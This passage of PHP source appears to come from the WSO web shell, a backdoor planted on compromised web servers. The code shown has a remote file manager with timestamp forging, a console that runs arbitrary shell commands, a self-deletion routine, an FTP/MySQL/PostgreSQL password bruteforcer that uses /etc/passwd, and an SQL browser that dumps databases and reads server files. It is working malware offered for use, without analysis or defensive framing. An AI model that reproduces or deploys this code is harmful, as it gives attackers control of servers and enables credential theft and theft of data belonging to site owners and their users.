@posix_getgrgid(@filegroup($_POST[\'p1\']));\n\r\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\n\r\techo \'<span>Change time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\n\r\tif( empty($_POST[\'p2\']) )\n\r\t\t$_POST[\'p2\'] = \'view\';\n\r\tif( is_file($_POST[\'p1\']) )\n\r\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');\n\r\telse\n\r\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\n\r\tforeach($m as $v)\n\r\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\n\r\techo \'<br><br>\';\n\r\tswitch($_POST[\'p2\']) {\n\r\t\tcase \'view\':\n\r\t\t\techo \'<pre class=ml1>\';\n\r\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\r\t\t\tif($fp) {\n\r\t\t\t\twhile( !@feof($fp) )\n\r\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\r\t\t\t\t@fclose($fp);\n\r\t\t\t}\n\r\t\t\techo \'</pre>\';\n\r\t\t\tbreak;\n\r\t\tcase \'highlight\':\n\r\t\t\tif( @is_readable($_POST[\'p1\']) ) {\n\r\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\n\r\t\t\t\t$code = @highlight_file($_POST[\'p1\'],true);\n\r\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';\n\r\t\t\t}\n\r\t\t\tbreak;\n\r\t\tcase \'chmod\':\n\r\t\t\tif( !empty($_POST[\'p3\']) ) {\n\r\t\t\t\t$perms = 0;\n\r\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n\r\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n\r\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\n\r\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\n\r\t\t\t}\n\r\t\t\tclearstatcache();\n\r\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';\n\r\t\t\tbreak;\n\r\t\tcase \'edit\':\n\r\t\t\tif( !is_writable($_POST[\'p1\'])) {\n\r\t\t\t\techo \'File isn\\\'t writeable\';\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\tif( !empty($_POST[\'p3\']) ) {\n\r\t\t\t\t$time = @filemtime($_POST[\'p1\']);\n\r\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n\r\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\n\r\t\t\t\tif($fp) {\n\r\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\n\r\t\t\t\t\t@fclose($fp);\n\r\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\n\r\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\n\r\t\t\t\t}\n\r\t\t\t}\n\r\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\n\r\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\r\t\t\tif($fp) {\n\r\t\t\t\twhile( !@feof($fp) )\n\r\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\r\t\t\t\t@fclose($fp);\n\r\t\t\t}\n\r\t\t\techo \'</textarea><input type=submit value=">>"></form>\';\n\r\t\t\tbreak;\n\r\t\tcase \'hexdump\':\n\r\t\t\t$c = @file_get_contents($_POST[\'p1\']);\n\r\t\t\t$n = 0;\n\r\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\n\r\t\t\t$len = strlen($c);\n\r\t\t\tfor ($i=0; $i<$len; ++$i) {\n\r\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n\r\t\t\t\tswitch ( ord($c[$i]) ) {\n\r\t\t\t\t\tcase 0: $h[2] .= \' \'; break;\n\r\t\t\t\t\tcase 9: $h[2] .= \' \'; break;\n\r\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\n\r\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\n\r\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\n\r\t\t\t\t}\n\r\t\t\t\t$n++;\n\r\t\t\t\tif ($n == 32) {\n\r\t\t\t\t\t$n = 0;\n\r\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n\r\t\t\t\t\t$h[1] .= \'<br>\';\n\r\t\t\t\t\t$h[2] .= "\\n";\n\r\t\t\t\t}\n\r\t\t \t}\n\r\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\n\r\t\t\tbreak;\n\r\t\tcase \'rename\':\n\r\t\t\tif( !empty($_POST[\'p3\']) ) {\n\r\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n\r\t\t\t\t\techo \'Can\\\'t rename!<br>\';\n\r\t\t\t\telse\n\r\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\n\r\t\t\t}\n\r\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';\n\r\t\t\tbreak;\n\r\t\tcase \'touch\':\n\r\t\t\tif( !empty($_POST[\'p3\']) ) {\n\r\t\t\t\t$time = strtotime($_POST[\'p3\']);\n\r\t\t\t\tif($time) {\n\r\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\n\r\t\t\t\t\t\techo \'Fail!\';\n\r\t\t\t\t\telse\n\r\t\t\t\t\t\techo \'Touched!\';\n\r\t\t\t\t} else echo \'Bad time format!\';\n\r\t\t\t}\n\r\t\t\tclearstatcache();\n\r\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';\n\r\t\t\tbreak;\n\r\t}\n\r\techo \'</div>\';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionConsole() {\n\r if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n\r WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n\r $_POST[\'p1\'] .= \' 2>&1\';\n\r } elseif(!empty($_POST[\'p1\']))\n\r WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n\r\n\r\tif(isset($_POST[\'ajax\'])) {\n\r\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\r\t\tob_start();\n\r\t\techo "d.cf.cmd.value=\'\';\\n";\n\r\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0"));\n\r\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\n\r\t\t\tif(@chdir($match[1])) {\n\r\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\n\r\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\n\r\t\t\t}\n\r\t\t}\n\r\t\techo "d.cf.output.value+=\'".$temp."\';";\n\r\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n\r\t\t$temp = ob_get_clean();\n\r\t\techo strlen($temp), "\\n", $temp;\n\r\t\texit;\n\r\t}\n\r if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\r\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\r\twsoHeader();\n\r echo "<script>\n\rif(window.Event) window.captureEvents(Event.KEYDOWN);\n\rvar cmds = new Array(\'\');\n\rvar cur = 0;\n\rfunction kp(e) {\n\r\tvar n = (window.Event) ? e.which : e.keyCode;\n\r\tif(n == 38) {\n\r\t\tcur--;\n\r\t\tif(cur>=0)\n\r\t\t\tdocument.cf.cmd.value = cmds[cur];\n\r\t\telse\n\r\t\t\tcur++;\n\r\t} else if(n == 40) {\n\r\t\tcur++;\n\r\t\tif(cur < cmds.length)\n\r\t\t\tdocument.cf.cmd.value = cmds[cur];\n\r\t\telse\n\r\t\t\tcur--;\n\r\t}\n\r}\n\rfunction add(cmd) {\n\r\tcmds.pop();\n\r\tcmds.push(cmd);\n\r\tcmds.push(\'\');\n\r\tcur = cmds.length-1;\n\r}\n\r</script>";\n\r\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><select name=alias>\';\n\r\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\n\r\t\tif($v == \'\') {\n\r\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\n\r\t\t\tcontinue;\n\r\t\t}\n\r\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\n\r\t}\n\r\t\n\r\techo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 > send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';\n\r\tif(!empty($_POST[\'p1\'])) {\n\r\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']));\n\r\t}\n\r\techo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\n\r\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionLogout() {\n\r setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\n\r\tdie(\'bye!\');\n\r}\n\r\n\rfunction actionSelfRemove() {\n\r\n\r\tif($_POST[\'p1\'] == \'yes\')\n\r\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\n\r\t\t\tdie(\'Shell has been removed\');\n\r\t\telse\n\r\t\t\techo \'unlink error!\';\n\r if($_POST[\'p1\'] != \'yes\')\n\r wsoHeader();\n\r\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionBruteforce() {\n\r\twsoHeader();\n\r\tif( isset($_POST[\'proto\']) ) {\n\r\t\techo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\n\r\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\n\r\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\n\r\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\n\r\t\t\t\tif(!$fp) return false;\n\r\t\t\t\t$res = @ftp_login($fp, $login, $pass);\n\r\t\t\t\t@ftp_close($fp);\n\r\t\t\t\treturn $res;\n\r\t\t\t}\n\r\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\n\r\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\n\r\t\t\t\t$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\n\r\t\t\t\t@mysql_close($res);\n\r\t\t\t\treturn $res;\n\r\t\t\t}\n\r\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\n\r\t\t\tfunction wsoBruteForce($ip,$port,$login,$pass) {\n\r\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\n\r\t\t\t\t$res = @pg_connect($str);\n\r\t\t\t\t@pg_close($res);\n\r\t\t\t\treturn $res;\n\r\t\t\t}\n\r\t\t}\n\r\t\t$success = 0;\n\r\t\t$attempts = 0;\n\r\t\t$server = explode(":", $_POST[\'server\']);\n\r\t\tif($_POST[\'type\'] == 1) {\n\r\t\t\t$temp = @file(\'/etc/passwd\');\n\r\t\t\tif( is_array($temp) )\n\r\t\t\t\tforeach($temp as $line) {\n\r\t\t\t\t\t$line = explode(":", $line);\n\r\t\t\t\t\t++$attempts;\n\r\t\t\t\t\tif( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\n\r\t\t\t\t\t\t$success++;\n\r\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\n\r\t\t\t\t\t}\n\r\t\t\t\t\tif(@$_POST[\'reverse\']) {\n\r\t\t\t\t\t\t$tmp = "";\n\r\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\n\r\t\t\t\t\t\t\t$tmp .= $line[0][$i];\n\r\t\t\t\t\t\t++$attempts;\n\r\t\t\t\t\t\tif( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\n\r\t\t\t\t\t\t\t$success++;\n\r\t\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\n\r\t\t\t\t\t\t}\n\r\t\t\t\t\t}\n\r\t\t\t\t}\n\r\t\t} elseif($_POST[\'type\'] == 2) {\n\r\t\t\t$temp = @file($_POST[\'dict\']);\n\r\t\t\tif( is_array($temp) )\n\r\t\t\t\tforeach($temp as $line) {\n\r\t\t\t\t\t$line = trim($line);\n\r\t\t\t\t\t++$attempts;\n\r\t\t\t\t\tif( wsoBruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\n\r\t\t\t\t\t\t$success++;\n\r\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\n\r\t\t\t\t\t}\n\r\t\t\t\t}\n\r\t\t}\n\r\t\techo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\n\r\t}\n\r\techo \'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\n\r\t\t.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'\n\r\t\t.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\n\r\t\t.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\n\r\t\t.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\n\r\t\t.\'<span>Server:port</span></td>\'\n\r\t\t.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\n\r\t\t.\'<tr><td><span>Brute type</span></td>\'\n\r\t\t.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'\n\r\t\t.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'\n\r\t\t.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'\n\r\t\t.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\n\r\t\t.\'<td><input type=text name=login value="root"></td></tr>\'\n\r\t\t.\'<tr><td><span>Dictionary</span></td>\'\n\r\t\t.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\n\r\t\t.\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';\n\r\techo \'</div><br>\';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionSql() {\n\r\tclass DbClass {\n\r\t\tvar $type;\n\r\t\tvar $link;\n\r\t\tvar $res;\n\r\t\tfunction DbClass($type)\t{\n\r\t\t\t$this->type = $type;\n\r\t\t}\n\r\t\tfunction connect($host, $user, $pass, $dbname){\n\r\t\t\tswitch($this->type)\t{\n\r\t\t\t\tcase \'mysql\':\n\r\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\n\r\t\t\t\t\tbreak;\n\r\t\t\t\tcase \'pgsql\':\n\r\t\t\t\t\t$host = explode(\':\', $host);\n\r\t\t\t\t\tif(!$host[1]) $host[1]=5432;\n\r\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction selectdb($db) {\n\r\t\t\tswitch($this->type)\t{\n\r\t\t\t\tcase \'mysql\':\n\r\t\t\t\t\tif (@mysql_select_db($db))return true;\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction query($str) {\n\r\t\t\tswitch($this->type) {\n\r\t\t\t\tcase \'mysql\':\n\r\t\t\t\t\treturn $this->res = @mysql_query($str);\n\r\t\t\t\t\tbreak;\n\r\t\t\t\tcase \'pgsql\':\n\r\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction fetch() {\n\r\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\n\r\t\t\tswitch($this->type)\t{\n\r\t\t\t\tcase \'mysql\':\n\r\t\t\t\t\treturn @mysql_fetch_assoc($res);\n\r\t\t\t\t\tbreak;\n\r\t\t\t\tcase \'pgsql\':\n\r\t\t\t\t\treturn @pg_fetch_assoc($res);\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction listDbs() {\n\r\t\t\tswitch($this->type)\t{\n\r\t\t\t\tcase \'mysql\':\n\r return $this->query("SHOW databases");\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase \'pgsql\':\n\r\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction listTables() {\n\r\t\t\tswitch($this->type)\t{\n\r\t\t\t\tcase \'mysql\':\n\r\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase \'pgsql\':\n\r\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction error() {\n\r\t\t\tswitch($this->type)\t{\n\r\t\t\t\tcase \'mysql\':\n\r\t\t\t\t\treturn @mysql_error();\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase \'pgsql\':\n\r\t\t\t\t\treturn @pg_last_error();\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction setCharset($str) {\n\r\t\t\tswitch($this->type)\t{\n\r\t\t\t\tcase \'mysql\':\n\r\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\n\r\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\n\r\t\t\t\t\telse\n\r\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\n\r\t\t\t\t\tbreak;\n\r\t\t\t\tcase \'pgsql\':\n\r\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\n\r\t\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction loadFile($str) {\n\r\t\t\tswitch($this->type)\t{\n\r\t\t\t\tcase \'mysql\':\n\r\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase \'pgsql\':\n\r\t\t\t\t\t$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM \'".addslashes($str)."\';select file from wso2;");\n\r\t\t\t\t\t$r=array();\n\r\t\t\t\t\twhile($i=$this->fetch())\n\r\t\t\t\t\t\t$r[] = $i[\'file\'];\n\r\t\t\t\t\t$this->query(\'drop table wso2\');\n\r\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t\tfunction dump($table, $fp = false) {\n\r\t\t\tswitch($this->type)\t{\n\r\t\t\t\tcase \'mysql\':\n\r\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\n\r\t\t\t\t\t$create = mysql_fetch_array($res);\n\r\t\t\t\t\t$sql = $create[1].";\\n";\n\r if($fp) fwrite($fp, $sql); else echo($sql);\n\r\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\n\r $i = 0;\n\r $head = true;\n\r\t\t\t\t\twhile($item = $this->fetch()) {\n\r $sql = \'\';\n\r if($i % 1000 == 0) {\n\r $head = true;\n\r $sql = ";\\n\\n";\n\r }\n\r\n\r\t\t\t\t\t\t$columns = array();\n\r\t\t\t\t\t\tforeach($item as $k=>$v) {\n\r if($v === null)\n\r $item[$k] = "NULL";\n\r elseif(is_int($v))\n\r $item[$k] = $v;\n\r else\n\r $item[$k] = "\'".@mysql_real_escape_string($v)."\'";\n\r\t\t\t\t\t\t\t$columns[] = "`".$k."`";\n\r\t\t\t\t\t\t}\n\r if($head) {\n\r $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\n\r $head = false;\n\r } else\n\r $sql .= "\\n\\t,(".implode(", ", $item).\')\';\n\r if($fp) fwrite($fp, $sql); else echo($sql);\n\r $i++;\n\r\t\t\t\t\t}\n\r if(!$head)\n\r if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n\r\t\t\t\tbreak;\n\r\t\t\t\tcase \'pgsql\':\n\r\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\n\r\t\t\t\t\twhile($item = $this->fetch()) {\n\r\t\t\t\t\t\t$columns = array();\n\r\t\t\t\t\t\tforeach($item as $k=>$v) {\n\r\t\t\t\t\t\t\t$item[$k] = "\'".addslashes($v)."\'";\n\r\t\t\t\t\t\t\t$columns[] = $k;\n\r\t\t\t\t\t\t}\n\r $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n";\n\r if($fp) fwrite($fp, $sql); else echo($sql);\n\r\t\t\t\t\t}\n\r\t\t\t\tbreak;\n\r\t\t\t}\n\r\t\t\treturn false;\n\r\t\t}\n\r\t};\n\r\t$db = new DbClass($_POST[\'type\']);\n\r\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\n\r\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n\r\t\t$db->selectdb($_POST[\'sql_base\']);\n\r switch($_POST[\'charset\']) {\n\r case "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\r case "UTF-8": $db->setCharset(\'utf8\'); break;\n\r case "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\r case "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\r case "cp866": $db->setCharset(\'cp866\'); break;\n\r }\n\r if(empty($_POST[\'file\'])) {\n\r ob_start("ob_gzhandler", 4096);\n\r header("Content-Disposition: attachment; filename=dump.sql");\n\r header("Content-Type: text/plain");\n\r foreach($_POST[\'tbl\'] as $v)\n\r\t\t\t\t$db->dump($v);\n\r exit;\n\r } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\n\r foreach($_POST[\'tbl\'] as $v)\n\r $db->dump($v, $fp);\n\r fclose($fp);\n\r unset($_POST[\'p2\']);\n\r } else\n\r die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\n\r\t}\n\r\twsoHeader();\n\r\techo "\n\r<h1>Sql browser</h1><div class=content>\n\r<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\n\r<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n\r<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\n\r<td><select name=\'type\'><option value=\'mysql\' ";\n\r if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\n\recho ">MySql</option><option value=\'pgsql\' ";\n\rif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\n\recho ">PostgreSql</option></select></td>\n\r<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\n\r<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\n\r<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\"></td><td>";\n\r\t$tmp = "<input type=text name=sql_base value=\'\'>";\n\r\tif(isset($_POST[\'sql_host\'])){\n\r\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\n\r\t\t\tswitch($_POST[\'charset\']) {\n\r\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\n\r\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\n\r\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\n\r\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\n\r\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\n\r\t\t\t}\n\r\t\t\t$db->listDbs();\n\r\t\t\techo "<select name=sql_base><option value=\'\'></option>";\n\r\t\t\twhile($item = $db->fetch()) {\n\r\t\t\t\tlist($key, $value) = each($item);\n\r\t\t\t\techo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n\r\t\t\t}\n\r\t\t\techo \'</select>\';\n\r\t\t}\n\r\t\telse echo $tmp;\n\r\t}else\n\r\t\techo $tmp;\n\r\techo "</td>\n\r\t\t\t\t<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>\n\r <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\n\r\t\t\t</tr>\n\r\t\t</table>\n\r\t\t<script>\n\r s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\n\r function fs(f) {\n\r if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n\r if(f.p1) f.p1.value=\'\';\n\r if(f.p2) f.p2.value=\'\';\n\r if(f.p3) f.p3.value=\'\';\n\r }\n\r }\n\r\t\t\tfunction st(t,l) {\n\r\t\t\t\td.sf.p1.value = \'select\';\n\r\t\t\t\td.sf.p2.value = t;\n\r 